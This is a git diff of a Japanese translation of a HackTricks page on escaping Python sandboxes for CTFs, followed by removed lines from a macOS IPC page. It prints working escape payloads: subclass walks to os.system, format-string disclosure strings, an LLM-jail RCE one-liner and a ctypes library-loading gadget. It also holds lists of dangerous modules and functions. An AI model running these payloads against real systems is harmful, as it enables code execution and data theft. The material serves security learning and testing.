['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||
```
|
||||
たくさんありますが、コマンドを実行するには**1つだけで十分です**:
|
||||
たくさんあるが、コマンドを実行するには**1つだけあれば十分だ**:
|
||||
```python
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||
```
|
||||
コマンドを**実行できる**と分かっている**他のライブラリ**でも同じことができます:
|
||||
同じことは、**他のライブラリ**(**コマンドを実行できる**と分かっている)でも行えます:
|
||||
```python
|
||||
#os
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
||||
@ -491,7 +492,7 @@ defined_func.__class__.__base__.__subclasses__()
|
||||
#pdb
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
|
||||
```
|
||||
さらに、どのモジュールが悪意のあるライブラリを読み込んでいるかを検索することもできます:
|
||||
さらに、どのモジュールが悪意のあるライブラリをロードしているかを検索することさえできます:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
for b in bad_libraries_names:
|
||||
@ -510,7 +511,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
|
||||
pdb:
|
||||
"""
|
||||
```
|
||||
さらに、もし **other libraries** が **invoke functions to execute commands** できると思われる場合、可能なライブラリ内で **filter by functions names** することもできます:
|
||||
さらに、もし**他のライブラリ**が**コマンドを実行するために関数を呼び出せる**可能性があると考えるなら、候補となるライブラリ内で**関数名でフィルタ**することもできます:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
||||
@ -543,10 +544,10 @@ execute:
|
||||
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
||||
"""
|
||||
```
|
||||
## Builtins, Globals の再帰的検索...
|
||||
## Builtins、Globalsの再帰的検索...
|
||||
|
||||
> [!WARNING]
|
||||
> これは本当に**すごい**です。もし **globals、builtins、open などのオブジェクトを探している** のなら、このスクリプトを使って、そのオブジェクトが見つかる場所を**再帰的に検索できます。**
|
||||
> これは本当に**素晴らしい**。もし**globals、builtins、openのようなオブジェクトを探している**なら、単にこのスクリプトを使って**そのオブジェクトを見つけられる場所を再帰的に検索してください。**
|
||||
```python
|
||||
import os, sys # Import these to find more gadgets
|
||||
|
||||
@ -662,15 +663,13 @@ print(SEARCH_FOR)
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
このスクリプトの出力は次のページで確認できます:
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md
|
||||
{{#endref}}
|
||||
|
||||
## Python Format String
|
||||
## Python フォーマット文字列
|
||||
|
||||
もしpythonに**send**した**string**が**formatted**される場合、`{}`を使って**python internal information**にアクセスできます。前の例を使って、例えばglobalsやbuiltinsにアクセスできます。
|
||||
もし **送る** **文字列** を python に送り、それが **フォーマットされる** 場合、`{}` を使って **python の内部情報** にアクセスできます。例えば、前の例を使って globals や builtins にアクセスできます。
|
||||
```python
|
||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||
CONFIG = {
|
||||
@ -690,16 +689,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
`people_obj.__init__` のように **ドット** で通常通り属性にアクセスでき、`__globals__[CONFIG]` のように **角括弧**(引用符なし)で dict の要素にアクセスできる点に注意してください。
|
||||
次の点に注意してください。通常の方法で**属性にアクセス**するには**ドット**を使います(例: `people_obj.__init__`)。また、引用符なしで**括弧**を使って**dict の要素**にアクセスできます: `__globals__[CONFIG]`
|
||||
|
||||
また、`.__dict__` を使ってオブジェクトの要素を列挙できることにも注意してください。例: `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
また、`.__dict__` を使ってオブジェクトの要素を列挙できることにも注意してください: `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
フォーマット文字列の他の興味深い特徴の一つは、対象オブジェクトに対して **実行** できる **関数** である **`str`**、**`repr`**、**`ascii`** を、それぞれ **`!s`**、**`!r`**、**`!a`** を付けることで呼び出せる点です:
|
||||
フォーマット文字列のその他の興味深い特徴として、指定したオブジェクトに対して **`str`**, **`repr`**, **`ascii`** の**関数を実行**できる可能性があり、それぞれ **`!s`**, **`!r`**, **`!a`** を追加することで実現します:
|
||||
```python
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
さらに、クラスで**code new formatters**を実装することもできます:
|
||||
さらに、クラス内で**code new formatters**を実装することも可能です:
|
||||
```python
|
||||
class HAL9000(object):
|
||||
def __format__(self, format):
|
||||
@ -710,17 +709,17 @@ return 'HAL 9000'
|
||||
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
||||
#I'm afraid I can't do that.
|
||||
```
|
||||
**さらに例**:**format** **string** の例は [**https://pyformat.info/**](https://pyformat.info) にあります
|
||||
**さらに多くの例**(**format** **string** の例)は [**https://pyformat.info/**](https://pyformat.info) で参照できます
|
||||
|
||||
> [!CAUTION]
|
||||
> 次のページも確認してください。r**Python内部オブジェクトから機密情報を読み取る**:
|
||||
> 以下のページも参照してください(gadgets that will r**ead sensitive information from Python internal objects**):
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../python-internal-read-gadgets.md
|
||||
{{#endref}}
|
||||
|
||||
### 機密情報漏洩ペイロード
|
||||
### 機密情報開示ペイロード
|
||||
```python
|
||||
{whoami.__class__.__dict__}
|
||||
{whoami.__globals__[os].__dict__}
|
||||
@ -738,20 +737,20 @@ str(x) # Out: clueless
|
||||
```
|
||||
### LLM Jails bypass
|
||||
|
||||
From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
||||
参照 [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
||||
|
||||
### From format to RCE loading libraries
|
||||
|
||||
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.
|
||||
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/)、python の format string vulnerability を悪用してディスクから任意のライブラリを読み込むことが可能です。
|
||||
|
||||
補足として、python で操作が行われるたびに何らかの関数が実行されます。例えば `2*3` は **`(2).mul(3)`** を実行し、**`{'a':'b'}['a']`** は **`{'a':'b'}.__getitem__('a')`** を実行します。
|
||||
念のため、python で何かアクションが実行されるたびにある関数が呼ばれます。例えば `2*3` は **`(2).mul(3)`** を実行し、`{'a':'b'}['a']` は **`{'a':'b'}.__getitem__('a')`** を実行します。
|
||||
|
||||
このような例はセクション [**Python execution without calls**](#python-execution-without-calls) にさらにあります。
|
||||
このような例はセクション [**Python execution without calls**](#python-execution-without-calls) にもっとあります。
|
||||
|
||||
A python format string vuln doesn't allow to execute function (it's doesn't allow to use parenthesis), so it's not possible to get RCE like `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
しかし、`[]` を使うことは可能です。したがって、一般的な python ライブラリが任意のコードを実行する **`__getitem__`** や **`__getattr__`** メソッドを持っていれば、それらを悪用して RCE を得ることが可能です。
|
||||
python の format string vuln は関数の実行を許さない(括弧を使えないため)、したがって `'{0.system("/bin/sh")}'.format(os)` のような RCE は不可能です。\
|
||||
しかし `[]` は使えます。したがって、一般的な python ライブラリが任意コードを実行する **`__getitem__`** または **`__getattr__`** メソッドを持っていれば、それらを悪用して RCE を得ることが可能です。
|
||||
|
||||
Looking for a gadget like that in python, the writeup purposes this [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Where he found this [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
||||
そのような gadget を python 内で探すために、writeup ではこの [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code) を提案しています。そこで彼が見つけたのがこの [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
||||
```python
|
||||
class LibraryLoader(object):
|
||||
def __init__(self, dlltype):
|
||||
@ -773,20 +772,20 @@ return getattr(self, name)
|
||||
cdll = LibraryLoader(CDLL)
|
||||
pydll = LibraryLoader(PyDLL)
|
||||
```
|
||||
このガジェットは**load a library from disk**を可能にします。したがって、攻撃対象のサーバに正しくコンパイルされたライブラリを何らかの方法で**write or upload the library to load**する必要があります。
|
||||
このガジェットは **load a library from disk** を可能にします。したがって、攻撃対象のサーバーに、正しくコンパイルされたライブラリを何らかの方法で **write or upload the library to load** しておく必要があります。
|
||||
```python
|
||||
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
||||
```
|
||||
The challenge actually abuses another vulnerability in the server that allows to create arbitrary files in the servers disk.
|
||||
このチャレンジは実際にサーバの別の脆弱性を悪用しており、サーバのディスク上に任意のファイルを作成できるようにしています。
|
||||
|
||||
## Pythonオブジェクトの解析
|
||||
## Python オブジェクトの解析
|
||||
|
||||
> [!TIP]
|
||||
> **python bytecode**について深く**学びたい**なら、このトピックに関する**素晴らしい**投稿を読んでください: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
> もし **python bytecode** について深く**学びたい**なら、このトピックに関する**素晴らしい**投稿を読んでください: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
|
||||
一部のCTFでは、**flagが格納されているカスタム関数**の名前が与えられ、その**関数**の**内部**を確認して抽出する必要があります。
|
||||
一部のCTFでは、**custom function where the flag** の名前が与えられ、その**function**の**internals**を確認してそれを抽出する必要があります。
|
||||
|
||||
これは調査する関数です:
|
||||
以下が解析対象の関数です:
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -806,7 +805,7 @@ dir(get_flag) #Get info tof the function
|
||||
```
|
||||
#### globals
|
||||
|
||||
`__globals__` and `func_globals`(同じ) グローバル環境を取得します。例では、インポートされたモジュールやいくつかのグローバル変数とその内容が宣言されているのが見えます:
|
||||
`__globals__` and `func_globals`(同じ) はグローバル環境を取得します。例では、いくつかのインポートされたモジュールや、いくつかのグローバル変数とその内容が宣言されているのが見えます:
|
||||
```python
|
||||
get_flag.func_globals
|
||||
get_flag.__globals__
|
||||
@ -819,7 +818,7 @@ CustomClassObject.__class__.__init__.__globals__
|
||||
|
||||
### **関数コードへのアクセス**
|
||||
|
||||
**`__code__`** と `func_code`: この関数の**属性**に**アクセス**して、関数の**コードオブジェクトを取得**できます。
|
||||
**`__code__`** と `func_code`: 関数のこの**属性**に**アクセス**することで、関数の**code object**を**取得**できます。
|
||||
```python
|
||||
# In our current example
|
||||
get_flag.__code__
|
||||
@ -879,7 +878,7 @@ get_flag.__code__.co_freevars
|
||||
get_flag.__code__.co_code
|
||||
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
|
||||
```
|
||||
### **関数を逆アセンブルする**
|
||||
### **関数のDisassembly**
|
||||
```python
|
||||
import dis
|
||||
dis.dis(get_flag)
|
||||
@ -907,7 +906,7 @@ dis.dis(get_flag)
|
||||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
注意:**if you cannot import `dis` in the python sandbox** の場合、関数の **bytecode** (`get_flag.func_code.co_code`) を取得してローカルで **disassemble** できます。読み込まれている変数の内容(`LOAD_CONST`)は表示されませんが、`get_flag.func_code.co_consts` から推測できます。`LOAD_CONST` は読み込まれる変数のオフセットも示します。
|
||||
注意: **もし python sandbox 上で `dis` を import できない場合**、関数の**bytecode**(`get_flag.func_code.co_code`)を取得してローカルで**disassemble**できます。`LOAD_CONST`でロードされる変数の内容は見えませんが、`get_flag.func_code.co_consts`から推測できます。`LOAD_CONST`はロードされる変数のオフセットも示すからです。
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
@ -931,8 +930,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
||||
```
|
||||
## Pythonのコンパイル
|
||||
|
||||
さて、仮に何らかの方法で**実行できない関数の情報をdumpできる**が、それをどうしても**実行する必要がある**と想像してみてください。\
|
||||
次の例のように、その関数の**code objectにアクセスできる**が、disassembleを読むだけでは**フラグを計算する方法が分からない**(_より複雑な`calc_flag`関数を想像してください_)
|
||||
ここで、何らかの方法で**実行できない関数の情報をdumpできる**が、それを**実行**することが**必要**だと想像してみてください。\
|
||||
次の例のように、その関数の**code objectにアクセスできる**が、disassembleを読むだけでは`calc_flag`のようなより複雑な関数の場合、flagをどう計算するか**分からない**。(_より複雑な`calc_flag`関数を想像してみてください_)
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -945,9 +944,9 @@ return calc_flag("VjkuKuVjgHnci")
|
||||
else:
|
||||
return "Nope"
|
||||
```
|
||||
### code objectの作成
|
||||
### コードオブジェクトの作成
|
||||
|
||||
まず最初に、**how to create and execute a code object** を知る必要があります。これにより、leakedした関数を実行するためのcode objectを作成できます:
|
||||
まず、**コードオブジェクトを作成および実行する方法**を理解する必要があります。そうすれば、我々の関数 leaked を実行するためのコードオブジェクトを作成できます:
|
||||
```python
|
||||
code_type = type((lambda: None).__code__)
|
||||
# Check the following hint if you get an error in calling this
|
||||
@ -967,7 +966,7 @@ mydict['__builtins__'] = __builtins__
|
||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
> [!TIP]
|
||||
> 実行している python のバージョンによっては、`code_type` の **パラメータ** の **順序が異なる場合があります**。実行中の python バージョンで引数の順序を確認する最良の方法は、次を実行することです:
|
||||
> pythonのバージョンによって、`code_type` の**パラメータ**の**順序**が異なる場合があります。実行中のpythonバージョンでのパラメータの順序を確認する最も確実な方法は、次を実行することです:
|
||||
>
|
||||
> ```
|
||||
> import types
|
||||
@ -975,10 +974,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
|
||||
> ```
|
||||
|
||||
### leaked 関数の再作成
|
||||
### Recreating a leaked function
|
||||
|
||||
> [!WARNING]
|
||||
> 以下の例では、関数を再作成するために必要なすべてのデータを関数の code object から直接取得します。**実際の例**では、関数を実行するためのすべての **値**(`code_type`)が、**あなたが leak しなければならない**ものになります。
|
||||
> 以下の例では、function code object から関数を再作成するために必要なすべてのデータを直接取得します。**real example** では、関数 **`code_type`** を実行するためのすべての **値** が、あなたが**leak**する必要があるものになります。
|
||||
```python
|
||||
fc = get_flag.__code__
|
||||
# In a real situation the values like fc.co_argcount are the ones you need to leak
|
||||
@ -989,12 +988,12 @@ mydict['__builtins__'] = __builtins__
|
||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
#ThisIsTheFlag
|
||||
```
|
||||
### 防御を回避
|
||||
### 防御の回避
|
||||
|
||||
この投稿の冒頭にある前の例では、**`compile` 関数を使って任意の python コードを実行する方法**が確認できます。これは、ループ等を含む**スクリプト全体を**を**ワンライナー**で実行できるため興味深いです(**`exec`** を使って同様のことも可能です)。\
|
||||
とはいえ、ローカルマシンで**コンパイル済みオブジェクト**を**作成**し、それを**CTF machine**で実行することが役立つ場合があります(例えば、CTFに `compiled` 関数がないため)。
|
||||
この投稿の冒頭の例では、`compile`関数を使って任意のpythonコードを実行する方法が示されています。これは、ループなどを含むスクリプト全体を**ワンライナーで実行できる**点で興味深いです(`exec`を使って同じこともできます)。\
|
||||
とはいえ、ローカルマシンで**compiledオブジェクトを作成**し、**CTFマシンで実行**することが役立つ場合があります(例えば、CTFに`compiled`関数がない場合など)。
|
||||
|
||||
例えば、_./poc.py_ を読み込む関数を手動でコンパイルして実行してみます:
|
||||
例えば、_./poc.py_ を読み込む関数を手動でcompileして実行してみましょう:
|
||||
```python
|
||||
#Locally
|
||||
def read():
|
||||
@ -1021,7 +1020,7 @@ mydict['__builtins__'] = __builtins__
|
||||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||
function_type(codeobj, mydict, None, None, None)()
|
||||
```
|
||||
`eval` や `exec` にアクセスできない場合は、**適切な関数**を作成できますが、直接呼び出すと通常は次のように失敗します: _制限モードでは constructor にアクセスできません_. したがって、この関数を呼び出すために、**制限された環境外にある関数**が必要です。
|
||||
もし `eval` や `exec` にアクセスできない場合、**適切な関数** を作成することは可能ですが、直接呼び出すと通常次のように失敗します: _constructor not accessible in restricted mode_。したがって、この関数を呼び出すために **制限された環境に属さない関数** が必要です。
|
||||
```python
|
||||
#Compile a regular print
|
||||
ftype = type(lambda: None)
|
||||
@ -1031,9 +1030,9 @@ f(42)
|
||||
```
|
||||
## コンパイル済み Python の Decompiling
|
||||
|
||||
たとえば [**https://www.decompiler.com/**](https://www.decompiler.com) のようなツールを使用すると、与えられたコンパイル済み Python コードを **decompile** できます。
|
||||
[**https://www.decompiler.com/**](https://www.decompiler.com) のようなツールを使用すると、与えられたコンパイル済み Python コードを **decompile** できます。
|
||||
|
||||
**このチュートリアルを参照**:
|
||||
**このチュートリアルを参照してください**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -1044,7 +1043,7 @@ f(42)
|
||||
|
||||
### Assert
|
||||
|
||||
パラメータ `-O` を付けて最適化モードで実行された Python は、asset ステートメントと、**debug** の値に依存する条件付きコードを削除します。\
|
||||
`-O` パラメータで最適化モードで実行された Python は、assert 文や **debug** の値に依存する条件付きコードを削除します。\
|
||||
したがって、次のようなチェックは
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
@ -1056,7 +1055,7 @@ print(f"\nNot a Super User!!!\n")
|
||||
```
|
||||
バイパスされます
|
||||
|
||||
## 参考文献
|
||||
## 参考資料
|
||||
|
||||
- [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/)
|
||||
- [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/)
|
||||
|
@ -1,832 +0,0 @@
|
||||
# macOS IPC - Inter Process Communication
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Mach messaging via Ports
|
||||
|
||||
### 基本情報
|
||||
|
||||
Machはリソースを共有するための**最小単位**として**タスク**を使用し、各タスクは**複数のスレッド**を含むことができます。これらの**タスクとスレッドはPOSIXプロセスとスレッドに1:1でマッピングされています**。
|
||||
|
||||
タスク間の通信はMach Inter-Process Communication (IPC)を介して行われ、一方向の通信チャネルを利用します。**メッセージはポート間で転送され**、ポートはカーネルによって管理される**メッセージキュー**のように機能します。
|
||||
|
||||
各プロセスには**IPCテーブル**があり、そこには**プロセスのmachポート**を見つけることができます。machポートの名前は実際には番号(カーネルオブジェクトへのポインタ)です。
|
||||
|
||||
プロセスは**異なるタスク**にポート名を権利と共に送信することもでき、カーネルは**他のタスクのIPCテーブル**にこのエントリを表示させます。
|
||||
|
||||
### ポート権限
|
||||
|
||||
タスクが実行できる操作を定義するポート権限は、この通信の鍵となります。可能な**ポート権限**は([ここからの定義](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
|
||||
- **受信権限**は、ポートに送信されたメッセージを受信することを許可します。MachポートはMPSC(複数生産者、単一消費者)キューであり、システム全体で**各ポートに対して1つの受信権限**しか存在できません(パイプとは異なり、複数のプロセスが1つのパイプの読み取り端にファイルディスクリプタを保持できます)。
|
||||
- **受信権限を持つタスク**はメッセージを受信し、**送信権限を作成**することができ、メッセージを送信できます。元々は**自タスクのみがポートに対して受信権限を持っています**。
|
||||
- **送信権限**は、ポートにメッセージを送信することを許可します。
|
||||
- 送信権限は**クローン**可能で、送信権限を持つタスクはその権限をクローンし、**第三のタスクに付与**できます。
|
||||
- **一度だけの送信権限**は、ポートに1つのメッセージを送信し、その後消失します。
|
||||
- **ポートセット権限**は、単一のポートではなく**ポートセット**を示します。ポートセットからメッセージをデキューすると、その中の1つのポートからメッセージがデキューされます。ポートセットは、Unixの`select`/`poll`/`epoll`/`kqueue`のように、複数のポートを同時にリッスンするために使用できます。
|
||||
- **デッドネーム**は実際のポート権限ではなく、単なるプレースホルダーです。ポートが破棄されると、ポートへのすべての既存のポート権限はデッドネームに変わります。
|
||||
|
||||
**タスクは他のタスクに送信権限を転送**でき、メッセージを返送することが可能になります。**送信権限もクローン可能で、タスクはその権限を複製して第三のタスクに与えることができます**。これにより、**ブートストラップサーバー**と呼ばれる中間プロセスを組み合わせることで、タスク間の効果的な通信が可能になります。
|
||||
|
||||
### ファイルポート
|
||||
|
||||
ファイルポートは、Macポート内にファイルディスクリプタをカプセル化することを可能にします(Machポート権限を使用)。`fileport_makeport`を使用して指定されたFDから`fileport`を作成し、`fileport_makefd`を使用してファイルポートからFDを作成することができます。
|
||||
|
||||
### 通信の確立
|
||||
|
||||
#### 手順:
|
||||
|
||||
通信チャネルを確立するために、**ブートストラップサーバー**(macの**launchd**)が関与します。
|
||||
|
||||
1. タスク**A**が**新しいポート**を開始し、その過程で**受信権限**を取得します。
|
||||
2. タスク**A**は、受信権限の保持者として、**ポートの送信権限を生成**します。
|
||||
3. タスク**A**は**ブートストラップサーバー**と**接続**を確立し、**ポートのサービス名**と**送信権限**をブートストラップ登録と呼ばれる手続きで提供します。
|
||||
